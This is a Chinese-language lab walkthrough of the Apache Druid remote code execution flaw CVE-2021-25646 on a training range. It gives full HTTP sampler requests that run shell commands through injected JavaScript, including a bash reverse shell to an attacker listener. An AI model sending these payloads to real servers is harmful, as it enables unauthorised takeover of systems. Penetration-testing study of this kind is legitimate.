Apache Druid 代码执行漏洞(CVE-2021-25646)
Apache Druid
包括执行嵌入在各种类型请求中的用户提供的JavaScript
代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前
的版本中,攻击者可以通过发送一个恶意请求使Druid
用内置引擎执行任意JavaScript
代码,而不管服务器配置如何,这将导致代码和命令执行漏洞
漏洞复现
启动靶机,访问靶机的8888
端口查看Apache Druid主页正常运行
漏洞利用
利用burp suite
进行抓包,抓取后丢入Repeater
然后直接将以下请求发送即可执行其中的JavaScript
代码,记得将ip
地址修改为目标主机ip
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 10.22.68.96:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
如图id
命令已被执行
反弹shell
修改数据包,添加如下反弹shell
命令,将ip
改为攻击机kali
的地址,端口为1234
/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.0.6/1234 0>&1
打开命令行终端,利用nc
监听1234
端口,bp
发送如下请求
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 10.22.68.96:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.0.6/1234 0>&1')}",
"dimension": "added",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
在监听
状态下发送请求后反弹shell
成功,拿到root
权限
该靶场由nextcyber提供,如果你也对渗透测试感兴趣,这个平台是个不错的选择。
地址:nextcyber